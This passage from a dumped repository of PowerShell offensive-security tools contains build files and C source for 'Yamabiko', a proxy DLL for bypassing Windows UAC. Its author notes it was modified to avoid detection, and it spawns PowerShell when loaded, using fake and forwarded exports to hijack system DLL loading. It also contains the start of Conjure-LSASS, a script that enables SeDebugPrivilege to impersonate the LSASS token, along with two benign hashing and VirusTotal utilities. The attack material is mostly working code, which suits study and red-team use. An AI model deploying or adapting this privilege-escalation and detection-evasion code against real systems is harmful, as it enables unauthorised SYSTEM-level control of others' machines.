.\output\$(Platform)\$(Configuration)\ 81 | .\output\$(Platform)\$(Configuration)\ 82 | $(ProjectName)64 83 | SecurityRules.ruleset 84 | 85 | 86 | .\output\$(Platform)\$(Configuration)\ 87 | .\output\$(Platform)\$(Configuration)\ 88 | true 89 | SecurityRules.ruleset 90 | $(ProjectName)32 91 | 92 | 93 | false 94 | .\output\$(Platform)\$(Configuration)\ 95 | .\output\$(Platform)\$(Configuration)\ 96 | $(ProjectName)64 97 | SecurityRules.ruleset 98 | 99 | 100 | 101 | 102 | 103 | Level4 104 | Disabled 105 | WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions) 106 | 107 | 108 | Size 109 | true 110 | false 111 | MultiThreadedDLL 112 | false 113 | false 114 | CompileAsC 115 | 116 | 117 | Windows 118 | false 119 | DllMain 120 | 6.0 121 | export.def 122 | 123 | 124 | Shell32.lib;%(AdditionalDependencies) 125 | 126 | 127 | 128 | 129 | 130 | 131 | Level4 132 | Disabled 133 | WIN32;_DEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions) 134 | 135 | 136 | false 137 | CompileAsC 138 | 139 | 140 | Windows 141 | true 142 | DllMain 143 | 6.0 144 | export.def 145 | Shell32.lib;%(AdditionalDependencies) 146 | 147 | 148 | 149 | 150 | Level4 151 | 152 | 153 | MinSpace 154 | true 155 | true 156 | WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions) 157 | true 158 | Size 159 | true 160 | false 161 | MultiThreadedDLL 162 | false 163 | false 164 | CompileAsC 165 | None 166 | 167 | 168 | Windows 169 | true 170 | true 171 | DllMain 172 | true 173 | 6.0 174 | export.def 175 | 176 | 177 | Shell32.lib;%(AdditionalDependencies) 178 | No 179 | UseLinkTimeCodeGeneration 180 | 181 | 182 | 183 | 184 | Level4 185 | 186 | 187 | MinSpace 188 | true 189 | true 190 | WIN32;NDEBUG;_WINDOWS;_USRDLL;DLL_EXPORTS;%(PreprocessorDefinitions) 191 | true 192 | Size 193 | true 194 | false 195 | CompileAsC 196 | 197 | 198 | Windows 199 | No 200 | true 201 | true 202 | DllMain 203 | true 204 | 6.0 205 | export.def 206 | Shell32.lib;%(AdditionalDependencies) 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {04ee0fac-8cb1-42ba-8211-a3b0023677db} 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 32 | 33 | Resource Files 34 | 35 | 36 | 37 | 38 | Source Files 39 | 40 | 41 | minirtl 42 | 43 | 44 | minirtl 45 | 46 | 47 | 48 | 49 | Source Files 50 | 51 | 52 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/dll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/dllmain.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * Notes: Originally fubuki.dll. Stripped down here with some minor changes 3 | * to avoid detection and as part of that renamed to yamabiko. 4 | * ~b33f 5 | ******************************************************************************** 6 | * (C) COPYRIGHT AUTHORS, 2014 - 2016 7 | * 8 | * TITLE: DLLMAIN.C 9 | * 10 | * VERSION: 2.51 11 | * 12 | * DATE: 10 July 2016 13 | * 14 | * Proxy dll entry point, Fubuki Kai Ni. 15 | * 16 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 17 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 18 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 19 | * PARTICULAR PURPOSE. 20 | * 21 | *******************************************************************************/ 22 | 23 | #if !defined UNICODE 24 | #error ANSI build is not supported 25 | #endif 26 | 27 | //disable nonmeaningful warnings. 28 | #pragma warning(disable: 4005) // macro redefinition 29 | #pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s 30 | #pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression 31 | #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union 32 | #pragma warning(disable: 6102) // Using %s from failed function call at line %u 33 | 34 | #include 35 | #include "Shared\ntos.h" 36 | #include 37 | #include "Shared\minirtl.h" 38 | #include "unbcl.h" 39 | #include "wbemcomn.h" 40 | 41 | #if (_MSC_VER >= 1900) 42 | #ifdef _DEBUG 43 | #pragma comment(lib, "vcruntimed.lib") 44 | #pragma comment(lib, "ucrtd.lib") 45 | #else 46 | #pragma comment(lib, "libvcruntime.lib") 47 | #endif 48 | #endif 49 | 50 | /* 51 | * Funky 52 | * 53 | * Purpose: 54 | * 55 | * Stub for fake exports. 56 | * 57 | */ 58 | VOID WINAPI Funky( 59 | VOID 60 | ) 61 | { 62 | } 63 | 64 | /* 65 | * DllMain 66 | * 67 | * Purpose: 68 | * 69 | * Proxy dll entry point, process parameter if exist or start cmd.exe and exit immediatelly. 70 | * 71 | */ 72 | BOOL WINAPI DllMain( 73 | _In_ HINSTANCE hinstDLL, 74 | _In_ DWORD fdwReason, 75 | _In_ LPVOID lpvReserved 76 | ) 77 | { 78 | DWORD cch; 79 | TCHAR cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1]; 80 | STARTUPINFO startupInfo; 81 | PROCESS_INFORMATION processInfo; 82 | 83 | UNREFERENCED_PARAMETER(hinstDLL); 84 | UNREFERENCED_PARAMETER(lpvReserved); 85 | 86 | if (fdwReason == DLL_PROCESS_ATTACH) { 87 | 88 | RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); 89 | RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); 90 | startupInfo.cb = sizeof(startupInfo); 91 | GetStartupInfoW(&startupInfo); 92 | 93 | RtlSecureZeroMemory(sysdir, sizeof(sysdir)); 94 | cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\WindowsPowerShell\\v1.0\\"), sysdir, MAX_PATH); 95 | if ((cch != 0) && (cch < MAX_PATH)) { 96 | RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf)); 97 | _strcpy(cmdbuf, sysdir); 98 | _strcat(cmdbuf, TEXT("powershell.exe")); 99 | 100 | if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, 101 | sysdir, &startupInfo, &processInfo)) 102 | { 103 | CloseHandle(processInfo.hProcess); 104 | CloseHandle(processInfo.hThread); 105 | } 106 | } 107 | 108 | ExitProcess(0); 109 | } 110 | return TRUE; 111 | } 112 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/export.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | DllRegisterServer = Funky PRIVATE 3 | ConstructPartialMsgVW = Funky 4 | CurrentIP = Funky 5 | WdsAbortBlackboard = Funky 6 | WdsTerminate = Funky 7 | WdsCreateBlackboard = Funky 8 | WdsDestroyBlackboard = Funky 9 | WdsEnumFirstBlackboardItem = Funky 10 | WdsEnumNextBlackboardItem = Funky 11 | WdsFreeData = Funky 12 | WdsGetBlackboardValue = Funky 13 | WdsInitialize = Funky 14 | WdsAbortBlackboardItemEnum = Funky 15 | WdsSetupLogMessageW = Funky 16 | WdsIsDiagnosticModeEnabled = Funky 17 | WdsSetAssertFlags = Funky 18 | GenerateActionQueue = Funky 19 | ProcessActionQueue = Funky 20 | DevObjEnumDeviceInterfaces = Funky 21 | DevObjGetClassDevs = Funky 22 | DevObjCreateDeviceInfoList = Funky 23 | DevObjDestroyDeviceInfoList = Funky 24 | DevObjOpenDeviceInfo = Funky 25 | CallNtPowerInformation = Funky 26 | PowerGetActiveScheme = Funky 27 | CreateUri = Funky 28 | PrivateCoInternetCombineUri = Funky 29 | SLGetWindowsInformation = Funky 30 | NetApiBufferAllocate = Funky 31 | NetApiBufferFree = Funky 32 | NetApiBufferReallocate = Funky 33 | NetApiBufferSize = Funky 34 | NetRemoteComputerSupports = Funky 35 | NetapipBufferAllocate = Funky 36 | NetpIsComputerNameValid = Funky 37 | NetpIsDomainNameValid = Funky 38 | NetpIsGroupNameValid = Funky 39 | NetpIsRemote = Funky 40 | NetpIsRemoteNameValid = Funky 41 | NetpIsShareNameValid = Funky 42 | NetpIsUncComputerNameValid = Funky 43 | NetpIsUserNameValid = Funky 44 | NetpwListCanonicalize = Funky 45 | NetpwListTraverse = Funky 46 | NetpwNameCanonicalize = Funky 47 | NetpwNameCompare = Funky 48 | NetpwNameValidate = Funky 49 | NetpwPathCanonicalize = Funky 50 | NetpwPathCompare = Funky 51 | NetpwPathType = Funky 52 | ClrCreateManagedInstance = Funky 53 | CorBindToRuntimeEx = Funky 54 | LoadLibraryShim = Funky 55 | DpxNewJob = Funky 56 | InitCommonControlsEx = Funky 57 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by version.rc 4 | 5 | // Next default values for new objects 6 | // 7 | #ifdef APSTUDIO_INVOKED 8 | #ifndef APSTUDIO_READONLY_SYMBOLS 9 | #define _APS_NEXT_RESOURCE_VALUE 101 10 | #define _APS_NEXT_COMMAND_VALUE 40001 11 | #define _APS_NEXT_CONTROL_VALUE 1001 12 | #define _APS_NEXT_SYMED_VALUE 101 13 | #endif 14 | #endif 15 | -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/version.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/Yamabiko/Yamabiko/version.aps -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/version.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/Yamabiko/Yamabiko/version.rc -------------------------------------------------------------------------------- /Bypass-UAC/Yamabiko/Yamabiko/wbemcomn.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 4 | * 5 | * TITLE: WBEMCOMN.H 6 | * 7 | * VERSION: 2.40 8 | * 9 | * DATE: 20 June 2016 10 | * 11 | * WBEMCOMN forwarded import. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | #pragma comment(linker, " /EXPORT:?CoCreateInstance@CWbemInstallObject@@SAJAEBU_GUID@@PEAUIUnknown@@K0PEAPEAX@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?CoCreateInstance@CWbemInstallObject@@SAJAEBU_GUID@@PEAUIUnknown@@K0PEAPEAX@Z") 23 | #pragma comment(linker, " /EXPORT:?GetPreferredLanguages@CMUILocale@@SAJPEAPEAGPEAK@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?GetPreferredLanguages@CMUILocale@@SAJPEAPEAGPEAK@Z") 24 | #pragma comment(linker, " /EXPORT:?IsOffline@CWbemInstallObject@@SA_NXZ=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?IsOffline@CWbemInstallObject@@SA_NXZ") 25 | #pragma comment(linker, " /EXPORT:?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z") 26 | #pragma comment(linker, " /EXPORT:?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z") 27 | #pragma comment(linker, " /EXPORT:?Write@CMemoryLog@@QEAAXJ@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?Write@CMemoryLog@@QEAAXJ@Z") 28 | #pragma comment(linker, " /EXPORT:?_Free@CMUILocale@@SAHPEAX@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?_Free@CMUILocale@@SAHPEAX@Z") 29 | #pragma comment(linker, " /EXPORT:ExtractMachineName=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.ExtractMachineName") 30 | #pragma comment(linker, " /EXPORT:GetFQDN_Ipv4=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.GetFQDN_Ipv4") 31 | #pragma comment(linker, " /EXPORT:GetMemLogObject=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.GetMemLogObject") 32 | #pragma comment(linker, " /EXPORT:GetQFDN_Ipv6=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.GetQFDN_Ipv6") 33 | #pragma comment(linker, " /EXPORT:RegisterDLL=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.RegisterDLL") 34 | #pragma comment(linker, " /EXPORT:UnRegisterDLL=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.UnRegisterDLL") 35 | #pragma comment(linker, " /EXPORT:bAreWeLocal=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.bAreWeLocal") 36 | #pragma comment(linker, " /EXPORT:IsLocalConnection=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.IsLocalConnection") 37 | 38 | //6.3 and below 39 | #pragma comment(linker, " /EXPORT:?CoCreateInstance@CWbemInstallObject@@SAJAEBU_GUID@@PEAUIUnknown@@K0PEAPEAX@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?CoCreateInstance@CWbemInstallObject@@SAJAEBU_GUID@@PEAUIUnknown@@K0PEAPEAX@Z") 40 | #pragma comment(linker, " /EXPORT:?ExtractMachineName@@YAPEAGPEAG@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?ExtractMachineName@@YAPEAGPEAG@Z") 41 | #pragma comment(linker, " /EXPORT:?GetFQDN_Ipv4@@YAPEAUhostent@@PEAG@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?GetFQDN_Ipv4@@YAPEAUhostent@@PEAG@Z") 42 | #pragma comment(linker, " /EXPORT:?GetMemLogObject@@YAPEAVCMemoryLog@@XZ=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?GetMemLogObject@@YAPEAVCMemoryLog@@XZ") 43 | #pragma comment(linker, " /EXPORT:?GetPreferredLanguages@CMUILocale@@SAJPEAPEAGPEAK@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?GetPreferredLanguages@CMUILocale@@SAJPEAPEAGPEAK@Z") 44 | #pragma comment(linker, " /EXPORT:?GetQFDN_Ipv6@@YAKPEAG0HH@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?GetQFDN_Ipv6@@YAKPEAG0HH@Z") 45 | #pragma comment(linker, " /EXPORT:?IsLocalConnection@@YAHPEAUIUnknown@@@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?IsLocalConnection@@YAHPEAUIUnknown@@@Z") 46 | #pragma comment(linker, " /EXPORT:?IsOffline@CWbemInstallObject@@SA_NXZ=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?IsOffline@CWbemInstallObject@@SA_NXZ") 47 | #pragma comment(linker, " /EXPORT:?RegisterDLL@@YAXPEAUHINSTANCE__@@U_GUID@@PEAG22@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?RegisterDLL@@YAXPEAUHINSTANCE__@@U_GUID@@PEAG22@Z") 48 | #pragma comment(linker, " /EXPORT:?UnRegisterDLL@@YAXU_GUID@@PEAG@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?UnRegisterDLL@@YAXU_GUID@@PEAG@Z") 49 | #pragma comment(linker, " /EXPORT:?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z") 50 | #pragma comment(linker, " /EXPORT:?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z") 51 | #pragma comment(linker, " /EXPORT:?Write@CMemoryLog@@QEAAXJ@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?Write@CMemoryLog@@QEAAXJ@Z") 52 | #pragma comment(linker, " /EXPORT:?_Free@CMUILocale@@SAHPEAX@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?_Free@CMUILocale@@SAHPEAX@Z") 53 | #pragma comment(linker, " /EXPORT:?bAreWeLocal@@YAHPEAG@Z=\\\\?\\globalroot\\systemroot\\system32\\wbemcomn.?bAreWeLocal@@YAHPEAG@Z") 54 | -------------------------------------------------------------------------------- /Bypass-UAC/images/MSDN-2007-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/MSDN-2007-1.png -------------------------------------------------------------------------------- /Bypass-UAC/images/MSDN-2007-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/MSDN-2007-2.png -------------------------------------------------------------------------------- /Bypass-UAC/images/MSDN-2007-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/MSDN-2007-3.png -------------------------------------------------------------------------------- /Bypass-UAC/images/MSDN-2007-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/MSDN-2007-4.png -------------------------------------------------------------------------------- /Bypass-UAC/images/Win10-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/Win10-32.png -------------------------------------------------------------------------------- /Bypass-UAC/images/Win7-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/Win7-32.png -------------------------------------------------------------------------------- /Bypass-UAC/images/Win8.1-64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortify24x7/FuzzySecurity-PowerShell-Suite/412cea347eea3c5d336113ce6c47ceb579954bdd/Bypass-UAC/images/Win8.1-64.png -------------------------------------------------------------------------------- /Calculate-Hash.ps1: -------------------------------------------------------------------------------- 1 | function Calculate-Hash { 2 | <# 3 | .SYNOPSIS 4 | 5 | PowerShell v2 compatible script to calculate file hashes. 6 | 7 | .PARAMETER Path 8 | 9 | Path to file. 10 | 11 | .PARAMETER Algorithm 12 | 13 | Algorithm to use: MD5, RIPEMD160, SHA1, SHA256, SHA384, SHA512. If the algorithm parameter is not specified both MD5 and SHA256 will be shown. 14 | 15 | .DESCRIPTION 16 | 17 | Author: Ruben Boonen (@FuzzySec) 18 | License: BSD 3-Clause 19 | Required Dependencies: None 20 | Optional Dependencies: None 21 | 22 | .EXAMPLE 23 | 24 | C:\PS> Calculate-Hash -Path C:\Some\File.path -Algorithm SHA512 25 | 26 | #> 27 | 28 | [CmdletBinding()] 29 | Param( 30 | [Parameter(Mandatory=$true)] 31 | [string]$Path, 32 | [Parameter(Mandatory=$false)] 33 | [ValidateSet($null,"MD5","RIPEMD160","SHA1","SHA256","SHA384","SHA512")] 34 | [string]$Algorithm=$null 35 | ) 36 | 37 | # Make sure the path is valid 38 | $PathCheck = Test-Path $Path 39 | 40 | if($PathCheck -eq "True"){ 41 | 42 | function HashCalc($HashAlgorithm){ 43 | $FileStream = [system.io.file]::openread((resolve-path $Path)) 44 | $HashObject = [System.Security.Cryptography.HashAlgorithm]::create($HashAlgorithm) 45 | $Hash = $HashObject.ComputeHash($FileStream) 46 | $FileStream.close() 47 | $FileStream.dispose() 48 | $Hash = [system.bitconverter]::tostring($Hash).replace('-','') 49 | echo "$HashAlgorithm : $Hash" 50 | } 51 | 52 | if($Algorithm){ 53 | HashCalc $Algorithm 54 | } 55 | 56 | else{ 57 | HashCalc "MD5" 58 | HashCalc "SHA256" 59 | } 60 | 61 | } 62 | 63 | else{ 64 | 65 | echo "File path is not valid, maybe more coffee is the answer?" 66 | 67 | } 68 | } -------------------------------------------------------------------------------- /Check-VTFile.ps1: -------------------------------------------------------------------------------- 1 | function Check-VTFile { 2 | <# 3 | .SYNOPSIS 4 | 5 | Submit SHA256 hash of a file to Virus Total and retrieve the scan report if the hash is known. 6 | 7 | .PARAMETER Path 8 | 9 | Path to file. 10 | 11 | .DESCRIPTION 12 | 13 | Author: Ruben Boonen (@FuzzySec) 14 | License: BSD 3-Clause 15 | Required Dependencies: None 16 | Optional Dependencies: None 17 | 18 | .EXAMPLE 19 | 20 | C:\PS> Check-VTFile -Path C:\Some\File.path 21 | 22 | #> 23 | 24 | param ( 25 | [Parameter(Mandatory = $True)] 26 | [string]$Path 27 | ) 28 | 29 | # Virus Total parameters 30 | $VTApiKey = "" # API key here! 31 | $APIRequestURL = "https://www.virustotal.com/vtapi/v2/file/report" 32 | 33 | # Create SHA256 file hash 34 | $FileStream = [system.io.file]::openread((resolve-path $Path)) 35 | $SHAObject = [System.Security.Cryptography.HashAlgorithm]::create("sha256") 36 | $hash = $SHAObject.ComputeHash($FileStream) 37 | $FileStream.close() 38 | $FileStream.dispose() 39 | $hash = [system.bitconverter]::tostring($hash).replace('-','') 40 | 41 | # Submit hash to VirusTotal 42 | function HTTP-JSON($APIRequestURL,$parameters){ 43 | $http_request = New-Object -ComObject Msxml2.XMLHTTP 44 | $http_request.open("POST", $APIRequestURL, $false) 45 | $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded") 46 | $http_request.setRequestHeader("Content-length", $parameters.length); 47 | $http_request.setRequestHeader("Connection", "close") 48 | $http_request.send($parameters) 49 | $script:result = $http_request.responseText 50 | } 51 | 52 | HTTP-JSON "https://www.virustotal.com/vtapi/v2/file/report" "resource=$hash&apikey=$VTApiKey" 53 | 54 | # Turn VirusTotal JSON response into PowerShell object 55 | [System.Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions") | Out-Null 56 | $Serialize = New-Object System.Web.Script.Serialization.JavaScriptSerializer 57 | $Response = $Serialize.DeserializeObject($result) 58 | 59 | echo "`n[>] SHA256 File Hash: $hash" 60 | 61 | # If hash not found on Virus Total 62 | if ($Response.verbose_msg -Like '*not among*') { 63 | echo "[+] File hash not known by Virus Total!" 64 | } 65 | 66 | # Hash found on Virus Total 67 | else { 68 | # Set object properties as variable for output formatting 69 | $ResponseDate = $Response.scan_date 70 | $ResponsePositives = $Response.positives 71 | $ResponseTotal = $Response.total 72 | 73 | echo "[+] File hash known by Virus Total!" 74 | echo "[>] Last Scan Date: $ResponseDate" 75 | echo "[>] Detection Rate: $ResponsePositives of $ResponseTotal" 76 | 77 | # Check if any AV flag flag the file 78 | if ($ResponsePositives -ne 0) { 79 | # Extract AV name & Result string 80 | echo "[+] AV Malware Identification" 81 | # Add name and result to hashtable if the file was flagged 82 | $AVOutputTable = @{} 83 | foreach ($Instance in $Response.scans.Keys) { 84 | $AV = $Instance 85 | $AVResult = $Response.scans.$AV.result 86 | if ($AVResult){ 87 | $AVOutputTable.$AV = $AVResult 88 | } 89 | }$AVOutputTable # Print hashtable 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /Conjure-LSASS.ps1: -------------------------------------------------------------------------------- 1 | function Conjure-LSASS { 2 | <# 3 | .SYNOPSIS 4 | 5 | Use the SeDebugPrivilege to duplicate the LSASS access token and 6 | impersonate it in the calling thread. If SeDebugPrivilege is disabled 7 | the function will re-enable it. 8 | 9 | If SeDebugPrivilege has been removed, it can be added using LsaAddAccountRights 10 | however that requires the user to log off / log on so I haven't added it 11 | to the script. 12 | 13 | Notes: 14 | 15 | * Multithreading in PowerShell, causes the impersonation to be lost. To avoid 16 | this PowerShell should be launched as a Single Threaded Apartment (STA) 17 | ==> "powershell -sta". This should not be an issue in PowerShell v3+. 18 | * This is just some POC code mkay, check out PowerSploit & PoshPrivilege. 19 | 20 | .DESCRIPTION 21 | Author: Ruben Boonen (@FuzzySec) 22 | License: BSD 3-Clause 23 | Required Dependencies: None 24 | Optional Dependencies: None 25 | 26 | .EXAMPLE 27 | C:\PS> Conjure-LSASS 28 | #> 29 | 30 | Add-Type -TypeDefinition @" 31 | using System; 32 | using System.Diagnostics; 33 | using System.Runtime.InteropServices; 34 | using System.Security.Principal; 35 | 36 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 37 | public struct TokPriv1Luid 38 | { 39 | public int Count; 40 | public long Luid; 41 | public int Attr; 42 | } 43 | 44 | public static class Advapi32 45 | { 46 | [DllImport("advapi32.dll", SetLastError=true)] 47 | public static extern bool OpenProcessToken( 48 | IntPtr ProcessHandle, 49 | int DesiredAccess, 50 | ref IntPtr TokenHandle); 51 | 52 | [DllImport("advapi32.dll", SetLastError=true)] 53 | public static extern bool LookupPrivilegeValue( 54 | string lpSystemName, 55 | string lpName, 56 | ref long lpLuid); 57 | 58 | [DllImport("advapi32.dll", SetLastError = true)] 59 | public static extern bool AdjustTokenPrivileges( 60 | IntPtr TokenHandle, 61 | bool DisableAllPrivileges, 62 | ref TokPriv1Luid NewState, 63 | int BufferLength, 64 | IntPtr PreviousState, 65 | IntPtr ReturnLength); 66 | 67 | [DllImport("advapi32.dll", SetLastError=true)] 68 | public extern static bool DuplicateToken( 69 | IntPtr ExistingTokenHandle, 70 | int SECURITY_IMPERSONATION_LEVEL, 71 | ref IntPtr DuplicateTokenHandle); 72 | 73 | [DllImport("advapi32.dll", SetLastError=true)] 74 | public static extern bool SetThreadToken( 75 | IntPtr Thread, 76 | IntPtr Token); 77 | } 78 | 79 | public static class Kernel32 80 | { 81 | [DllImport("kernel32.dll")] 82 | public static extern uint GetLastError(); 83 | } 84 | "@ 85 | 86 | $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator') 87 | 88 | # Needs Admin privs 89 | if (!$IsAdmin) { 90 | echo "`n[!] Administrator privileges are required!`n" 91 | Return 92 | } 93 | 94 | $Whoami = whoami /priv /fo csv |ConvertFrom-Csv 95 | $SeDebugPriv = $whoami -Match "SeDebugPrivilege" 96 | 97 | # SeDebugPriv needs to be available 98 | if (!$SeDebugPriv) { 99 | echo "`n[!] SeDebugPrivilege not available, exiting!" 100 | Return 101 | } 102 | 103 | else { 104 | echo "`n[?] SeDebugPrivilege is available!" 105 | foreach ($priv in $whoami) { 106 | if ($priv."Privilege Name" -contains "SeDebugPrivilege") { 107 | $DebugVal = $priv.State 108 | } 109 | } 110 | 111 | # Get current proc handle 112 | $ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle 113 | echo "`n[+] Current process handle: $ProcHandle" 114 | 115 | # Open token handle with TOKEN_ADJUST_PRIVILEGES bor TOKEN_QUERY 116 | echo "`n[>] Calling Advapi32::OpenProcessToken" 117 | $hTokenHandle = [IntPtr]::Zero 118 | $CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x28, [ref]$hTokenHandle) 119 | echo "[+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: $hTokenHandle`n" 120 | 121 | # Enable SeDebugPrivilege if needed 122 | if ($DebugVal -eq "Disabled") { 123 | echo "[?] SeDebugPrivilege is disabled, enabling..`n" 124 | 125 | # Prepare TokPriv1Luid container 126 | $TokPriv1Luid = New-Object TokPriv1Luid 127 | $TokPriv1Luid.Count = 1 128 | $TokPriv1Luid.Attr = 0x00000002 # SE_PRIVILEGE_ENABLED 129 | 130 | # Get SeDebugPrivilege luid 131 | $LuidVal = $Null 132 | echo "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege" 133 | $CallResult = [Advapi32]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$LuidVal) 134 | echo "[+] SeDebugPrivilege LUID value: $LuidVal`n" 135 | $TokPriv1Luid.Luid = $LuidVal 136 | 137 | # Enable SeDebugPrivilege for the current process 138 | echo "[>] 